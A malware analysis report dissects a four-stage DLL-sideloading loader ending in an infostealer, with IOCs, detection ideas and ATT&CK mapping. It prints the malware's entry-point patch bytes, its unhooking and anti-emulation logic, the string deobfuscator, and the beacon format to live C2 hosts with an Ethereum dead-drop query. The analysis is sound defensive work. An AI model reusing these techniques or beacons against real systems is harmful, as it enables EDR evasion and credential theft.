0. Preface

This sample arrived in a folder named RemusStealer. Nothing in the chain calls itself that, and I found no internal marker that confirms the family — treat the name as a filing label, not an attribution. What the sample is, unambiguously, is a four-stage loader ending in an infostealer with screen-capture, hidden-desktop and browser-credential capability.

Two things make it worth the writeup. First, the loader’s entry mechanism: it does not call anything from its own export table. It arms guard pages over the host process’s own code and waits for the host to fault into a vectored exception handler. Second, the C2: three hardcoded hosts, and when all three fail it falls back to reading its next address out of an Ethereum smart contract.

The static work was done from the shell — radare2, objdump, capa, and hand-written decryptors in Python. The dynamic stage was a detonation in an isolated FLARE-VM with the network adapter removed entirely (--nic1 none), reverted to a clean snapshot afterwards; no packet ever left the box, and the C2 set was read out of WinHttpConnect arguments rather than off the wire.

C2, up front: puaglse.click:8954, shhsift.click:7647, zakuiru.shop:9048 over plain HTTP POST, with an Ethereum-mainnet dead-drop fallback at contract 0x999941b74F6bbc921D5174A5b29911562cd2D7CF.

1. The Threat at a Glance

AttributeAssessment
Malware typeDLL-sideloading loader → packed shellcode → infostealer
DeliveryNot recovered; the sample is the sideloaded DLL itself
MasqueradeImpersonates Microsoft OLEACC.dll (Active Accessibility), 28 genuine export names
C2puaglse.click:8954, shhsift.click:7647, zakuiru.shop:9048 (HTTP POST, x-www-form-urlencoded)
Fallback C2Ethereum dead drop — eth_call to 0x999941b74F6bbc921D5174A5b29911562cd2D7CF, selector 0xc2fb26a6
TargetWindows x64; Roblox, Steam, browser cookies via DPAPI
EvasionGuard-page/VEH execution, userland unhooking, fiber execution, ~4.3e9-iteration stall, API hashing, MBA obfuscation, direct syscalls, software-breakpoint checks
AttributionUnconfirmed. Campaign tag dcf2d40b491fed66d221b13e6daea39c
ConfidenceHigh — all four stages were recovered statically and each was confirmed byte-identical in memory

2. Infection Chain Overview

RemusStealer loader chain: a DLL masquerading as Microsoft OLEACC.dll with 28 exports all pointing at one do-nothing stub; DllMain picks between patching the host EXE entry point and arming guard pages caught by a VEH; userland unhooking restores clean DLL bytes from disk; a 238 KB fiber-executed shellcode stage with a 4.26-billion-iteration stall loop and an XOR block decoder; a 230 KB position-independent loader unpacking a CHOC container through a chained XOR and LZNT1; a 224 KB stealer mapped at 0x140000000 using API hashing; and a C2 stage beaconing to three hardcoded hosts before falling back to an Ethereum smart-contract dead drop

3. Stage 0 - The OLEACC Shim

The file is a 281 KB PE32+ DLL built with MinGW/TDM-GCC 10.3.0, 11 sections, DYNAMIC_BASE and HIGH_ENTROPY_VA set. It imports from only two libraries — kernel32 and msvcrt — but the selection is the tell:

ConvertThreadToFiber / CreateFiber / SwitchToFiber   fiber execution
AddVectoredExceptionHandler                          VEH
CreateToolhelp32Snapshot / Module32First / Module32Next
VirtualAlloc / VirtualProtect / VirtualQuery
CreateMemoryResourceNotification                     anti-emulation

The export table lists all 28 real OLEACC.dll symbols — DllRegisterServer, AccessibleObjectFromWindow, LresultFromObject, CreateStdAccessibleObject, and so on. Every single one resolves to the same address, and that address is a stub that does nothing:

0x1f2321dc3  push rbp
0x1f2321dc4  mov  rbp, rsp
0x1f2321dc7  nop
0x1f2321dc8  pop  rbp
0x1f2321dc9  ret

The exports exist only to satisfy a host process’s import table. This is the highest-fidelity static signal in the whole sample: a legitimate oleacc.dll never has 28 exports sharing one RVA.

.data is 237 KB at entropy 7.996 against a 30 KB .text — the code-to-payload ratio of a packer.

4. Stage 0 - Two Activation Paths

The real DllMain (RVA 0x1E87) reads gs:[0x60] to reach the PEB, follows ImageBaseAddress to the host executable’s PE headers, then branches on lpvReserved:

Path A — statically sideloaded (lpvReserved != 0, the DLL is in the host’s import table, so it loads before the host’s entry point runs). It patches the host EXE’s entry point. If the entry begins with 48 83 EC xx (sub rsp,imm8) it preserves that and writes 17 bytes at EP+4; otherwise it writes 13 bytes at EP+0:

48 83 C4 xx        add    rsp, xx          ; undo the host's own prologue
49 BA <qword>      movabs r10, payload
41 FF E2           jmp    r10

Letting the original sub rsp,N execute and then immediately undoing it is a neat touch — the payload is entered with a balanced stack regardless.

Path B — dynamically loaded (lpvReserved == 0, e.g. LoadLibrary/rundll32). The entry point has already run, so instead it registers a VEH and flips every executable section of the host image to PAGE_READONLY | PAGE_GUARD (0x102). The next instruction the host executes raises STATUS_GUARD_PAGE_VIOLATION; the handler at RVA 0x1DCA catches 0x80000001, takes a mutex, runs the payload, and calls ExitProcess. The host never resumes.

Before the payload runs there is an anti-emulation gate at RVA 0x1E42:

h = CreateMemoryResourceNotification(0);
if ((int)h <= 0x27) return;        // emulator returning a small fake handle
Sleep(800);
payload();

5. Stage 0 - Userland Unhooking

Before unpacking anything, the loader walks CreateToolhelp32Snapshot(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32). For every module whose name does not contain .exe, it opens the module’s own file on disk with fopen(szExePath,"rb"), reads it whole, and walks the in-memory export directory comparing each exported function against its clean on-disk bytes.

The detector looks for a leading E9/EA/EB/FF branch opcode, and specifically for:

4C 8B D1      mov r10, rcx
E9 <rel32>    jmp  <EDR handler>     ; a syscall stub whose mov eax,<ssn> was replaced

When it finds one it computes the detour length (E9→5, EB→2, EA→7, FF 25→6), extends over any trailing 0xCC padding, then VirtualProtect(PAGE_EXECUTE_READWRITE) → memcpy the clean bytes → restore protection. That is a full userland unhook of every loaded DLL, executed before the payload touches anything.

6. Stage 1 - A Stall Loop and a Block XOR

The .data blob (file offset 0x7C20, 0x3A226 bytes) is copied into an RWX allocation and entered on a fiber rather than a thread — ConvertThreadToFiber / CreateFiber / SwitchToFiber — which keeps it off thread-creation telemetry.

It begins with a 15-byte NOP sled and two stacked stubs.

Stub A is pure anti-emulation. A call/pop to get its own address, then an inner loop:

33: add rax, rcx
36: add rcx, 1
3a: inc rax
3d: sub rax, rcx          ; net effect on rax: zero
40: cmp rcx, rdi          ; rdi = 0x00FFFFFF
43: jne 0x33

rax is mathematically unchanged by the body. The loop runs 0xFFFFFF times, wrapped in an outer loop of 254 — roughly 4.26 billion iterations that accomplish nothing except burning wall-clock. It then patches a single byte (0xFF → 0x90) so execution falls through the sled, and jumps. On real hardware this costs a few seconds; in an instrumented emulator it is fatal.

Stub B is the decoder. The payload is stored as repeating 33-byte blocks of [1 key byte][32 ciphertext bytes]; each block’s data is XORed with its own key byte and written back in place, compacting 33 bytes to 32. It stops on the dword 0xCF1DCF1D. 7,209 blocks yield 230,695 bytes of stage 2.

7. Stage 2 - The CHOC Container

Stage 2 is 230 KB of position-independent code that resolves every API by walking the PEB’s loader data — it has no import table at all.

Its strings are obfuscated with a scheme worth documenting. Each string is stored as every byte decremented by one, then permuted by a seeded Fisher–Yates shuffle:

def deobfuscate(raw, seed):          # n = len(string) + 1, including the NUL
    n = len(raw); a = [(b - 1) & 0xFF for b in raw]
    for i in range(n):
        j = ((seed ^ i) % (n - i)) + i
        a[i], a[j] = a[j], a[i]
    return bytes(a)

The length and the per-string seed are immediates at each call site (mov r8b, <seed> next to a movdqa xmm, [rip+…]), which is why every instance of the same string is scrambled differently — there are four separate copies of kernel32 in the table, all permuted differently. Recovering them gives LoadLibraryA, GetProcAddress, RtlFreeHeap, NtContinue, RaiseException, SysAllocString, SafeArrayGetElement, oleaut32, kernelbase — and the one that mattered, RtlDecompressBuffer.

Note for anyone running capa over stage 2: its three “RC4 PRGA” hits are false positives. The matched code is the Fisher–Yates swap loop, which is structurally near-identical to RC4’s. There is no RC4 in this sample.

At offset 0x17000 sits a container with the magic CHOC:

OffsetValueMeaning
0x00CHOCmagic
0x080x21527total container size
0x0C0x66stream cipher key
0x200x28data offset
0x240x214FFciphertext length

Two layers come off it. First a chained stream cipher:

out[i] = (out[i-1] + 0x66) XOR cipher[i]        out[-1] = 0

That yields a 4-byte little-endian size header (0x00036E00 = 224,768) followed by an LZNT1 stream, handed to RtlDecompressBuffer. The result is a clean 224,768-byte PE.

Stage 2 also tests for MZ/PE\0\0 and for BSJB — the CLR metadata signature — so the same loader handles managed payloads. This one is native.

8. Stage 3 - The Payload

224 KB, PE32+, four sections, compiled 2026-08-23 14:08:27 UTC. Its import table is small but states the capability plainly:

AreaAPIs
Screen captureBitBlt, GetDIBits, CreateCompatibleBitmap/DC, GetWindowDC, GetForegroundWindow, EnumDisplaySettingsW
Hidden desktop (HVNC)CreateDesktopW, OpenDesktopW, CloseDesktop
WMI clientCoInitializeSecurity, CoSetProxyBlanket, CoCreateInstance, VariantCopy/Clear
Host reconGetComputerNameA/ExA, GetUserNameA, GetKeyboardLayout(NameA)
ClipboardGlobalLock, GlobalUnlock

Everything else is hidden behind API hashing — 31 unique 32-bit hashes across 44 call sites, resolved by a routine at RVA 0x2C4A0. The hash function is custom; I tested ROR13-add, ROL5-XOR, djb2, djb2-XOR, sdbm, FNV-1/1a, CRC32, shift-add and mul31 against a large Windows API wordlist and none matched. The resolver itself is protected with mixed boolean-arithmetic obfuscation — constants are computed through chains of and/or/imul/xor — on top of jump-table control-flow flattening.

Static string recovery failed here too: stage 3 builds each string in its own decoder thunk, with a table of ~240 function pointers in .data. FLOSS’s emulation-based extraction was the tool that broke it, recovering 42 “tight” and 16 “decoded” strings:

https://ethereum-rpc.publicnode.com        winhttp.dll            crypt32.dll
%LocalAppData%\Roblox\LocalStorage\RobloxCookies.dat
Applications/Roblox/Cookies.txt            CookiesData
\REGISTRY\MACHINE\SOFTWARE\Valve\Steam     steam.exe      InstallPath
Content-Type: multipart/form-data; boundary=
Content-Disposition: form-data; name="file"; filename="
access_token=      &debug=      result      Processes.txt
SeImpersonatePrivilege     __COMPAT_LAYER=RunAsInvoker
powershell -exec bypass -f "        rundll32 "        \BaseNamedObjects\
honey@pot.com.pst          MMXeVBoxreVMCGTCVMKV
dcf2d40b491fed66d221b13e6daea39c

The last two lines are the interesting ones. MMXeVBoxreVMCGTCVMKV is an interleaving of VirtualBox/VMware/QEMU markers, and honey@pot.com.pst is a classic sandbox-honeypot artifact check. dcf2d40b491fed66d221b13e6daea39c turns out to be the campaign tag sent to the C2.

9. Detonation

FLARE-VM on VirtualBox, adapter removed (--nic1 none), reverted to a clean snapshot after. cdb/WinDbg is not installed in this image and there was no network to fetch it, so the debugger was a ~240-line Win32 debugger written in Python ctypes and driven from the host over VBoxManage guestcontrol.

All three stages came out of memory byte-identical to the static extraction:

StageSHA-256Static vs runtime
15fea0d15…0267identical
2c25ab2a4…a739identical
36528d6a5…91a7identical

Mechanism confirmations: the guard-page fault fired at an address inside rundll32’s own image; RtlDecompressBuffer was called with CompressionFormat = 0x102 (LZNT1 | ENGINE_MAXIMUM) and UncompressedBufferSize = 0x36E00; and stage 3 mapped at its preferred base 0x140000000, putting its hash resolver at 0x14002C4A0 — exactly base + 0x2C4A0.

The finding that cost the most time is worth stating plainly: stage 2 and 3’s software-breakpoint checks are real and they are fatal. With a single INT3 planted on ntdll!RtlDecompressBuffer, stage 3 was decompressed and then silently abandoned — never mapped, never executed. Memory-inspecting the stalled process showed the resolver signature sitting in an RW region at decompressed_base + 0x2B8A0, never made executable. Removing every software breakpoint and switching to hardware breakpoints only made stage 3 run immediately. If you debug this family, use bph/ba, never bp.

Hooking the resolver mapped 11 of the 31 hashes before the chain aborted:

HashAPIHashAPI
0xEAACA47EWinHttpOpen0x572A4BDCWinHttpSetOption
0xA171652DWinHttpConnect0x2DC8CD09WinHttpSetTimeouts
0xC6E59D46WinHttpOpenRequest0x14DB4EF0WinHttpCloseHandle
0xB01B03F3WinHttpSendRequest0x4AD42D13WinHttpCrackUrl
0xF4B5D456WinHttpAddRequestHeaders0x96C24357RtlAllocateHeap
0x68D46563RtlFreeHeap

The remaining 20 were never reached — every downstream capability is gated behind a successful C2 handshake.

10. C2 and the Ethereum Dead Drop

Reading the arguments to WinHttpConnect, WinHttpOpenRequest and WinHttpSendRequest recovers the full beacon without a single packet leaving the host. Three hardcoded hosts, five attempts each, in order:

POST /  HTTP/1.1        Content-Type: application/x-www-form-urlencoded
  puaglse.click:8954  →  shhsift.click:7647  →  zakuiru.shop:9048
tag=dcf2d40b491fed66d221b13e6daea39c&exp=1787495487&hwid=<md5 of host>

tag is the campaign identifier — the same constant FLOSS pulled out of .rdata. exp decodes to 2026-08-23 14:31:27 UTC, 23 minutes after stage 3’s compile timestamp, so it is a build marker rather than an expiry. hwid is a per-host fingerprint.

When all fifteen attempts fail, it falls back to a dead drop on Ethereum mainnet:

POST https://ethereum-rpc.publicnode.com:443
Content-Type: application/json

{"jsonrpc":"2.0","id":1,"method":"eth_call",
 "params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF",
            "data":"0xc2fb26a6"},"latest"]}

A read-only eth_call against contract 0x999941b74F6bbc921D5174A5b29911562cd2D7CF with selector 0xc2fb26a6; the result field carries the current C2. This is the EtherHiding pattern, and it explains why no usable C2 string exists anywhere in the sample: the operator can rotate infrastructure by sending one transaction, there is nothing to sinkhole, and the lookup itself is indistinguishable from ordinary web3 traffic to a public RPC provider.

With no network the beacon failed, so the stealer logic never ran and nothing was dropped to disk. The process died with exit code 0x80000001 — an unhandled guard-page violation from the still-armed host sections.

11. Indicators of Compromise

Files

sample (oleacc.dll)  ee765c4143bbb8dcbb83ca72004a93a16c3c1aecc6b5eccfc44296bea417060f
                     6d44dfce86576e2505e7c6bdce8d0f13  (MD5)
stage 1 shellcode    5fea0d15f24c896c0fb4acf5db6269ac99a711f5957b085997a17e13d4190267
stage 2 loader       c25ab2a485e04c1f5b6c587515cc20d4278112db5c388968a5f4d189a81da739
stage 3 payload      6528d6a58d342ecb3abac79f6cd7d38ca28f67c6ae15c970600bf93ad55f91a7

Network

puaglse[.]click:8954          HTTP POST /
shhsift[.]click:7647          HTTP POST /
zakuiru[.]shop:9048           HTTP POST /
ethereum-rpc.publicnode.com   dead-drop lookup (legitimate public RPC — do not block outright)
contract  0x999941b74F6bbc921D5174A5b29911562cd2D7CF
selector  0xc2fb26a6
body      tag=<md5>&exp=<unix>&hwid=<md5>

Host / static markers

Campaign tag:            dcf2d40b491fed66d221b13e6daea39c
Build markers:           J2-1078722850, J2-1096175631
Container magic:         "CHOC" at .data offset 0x17000
Stage-1 terminator:      CF1DCF1D
Stage-2 stream key:      0x66  (out[i] = (out[i-1]+0x66) ^ cipher[i])
Hooked-syscall probe:    4C 8B D1 E9
Guard-page constant:     0x102 applied to the host image's executable sections
Anti-analysis strings:   honey@pot.com.pst, MMXeVBoxreVMCGTCVMKV
28 OLEACC exports sharing a single RVA

12. Detection Opportunities

  1. An oleacc.dll outside %SystemRoot%\System32, or one whose exports all share a single RVA — the strongest signal in the sample, and cheap to check statically.
  2. PAGE_GUARD applied to the executable sections of the process’s own primary image, paired with AddVectoredExceptionHandler. Legitimate software essentially never does this.
  3. A module opening its own on-disk file handle and then VirtualProtect(PAGE_EXECUTE_READWRITE) over another module’s export bytes — the unhooking pattern. Worth a standing hunt regardless of family.
  4. ConvertThreadToFiber + CreateFiber + SwitchToFiber into a freshly VirtualAlloc’d RWX region — fiber execution as a thread-creation-telemetry bypass.
  5. RtlDecompressBuffer with CompressionFormat = 0x102 on a buffer sourced from a private RWX allocation rather than from a file.
  6. HTTP POST to a bare / on a high non-standard port (8954/7647/9048) with a body of exactly tag=/exp=/hwid=.
  7. eth_call JSON-RPC from a non-browser process — selector 0xc2fb26a6 to the contract above. Alert on the contract, not on the RPC provider.
  8. A process pegging a core for seconds inside a tight register-only loop immediately after a DLL load, with no syscalls — the stall loop.

13. MITRE ATT&CK Mapping

TacticTechnique
ExecutionT1129 Shared Modules
Persistence / Priv-EscT1574.002 DLL Side-Loading; T1134 Access Token Manipulation (SeImpersonatePrivilege)
Defense EvasionT1036.005 Masquerading: Match Legitimate Name; T1027 Obfuscated Files; T1027.002 Software Packing; T1027.007 Dynamic API Resolution; T1140 Deobfuscate/Decode; T1562.001 Impair Defenses (userland unhooking); T1620 Reflective Code Loading; T1497 Virtualization/Sandbox Evasion; T1622 Debugger Evasion
DiscoveryT1057 Process Discovery; T1082 System Information Discovery; T1518.001 Security Software Discovery
Credential AccessT1555.003 Credentials from Web Browsers; T1539 Web Session Cookies
CollectionT1113 Screen Capture; T1115 Clipboard Data
Command and ControlT1071.001 Web Protocols; T1102.001 Dead Drop Resolver

All four stages were recovered statically first and then confirmed byte-for-byte against process memory. The detonation ran in a FLARE-VM with its network adapter removed and was reverted to a clean snapshot afterwards — no request reached the live infrastructure, and the C2 set was read out of WinHttpConnect/WinHttpSendRequest arguments, not captured off the wire. The hwid value is host-specific and is deliberately not published.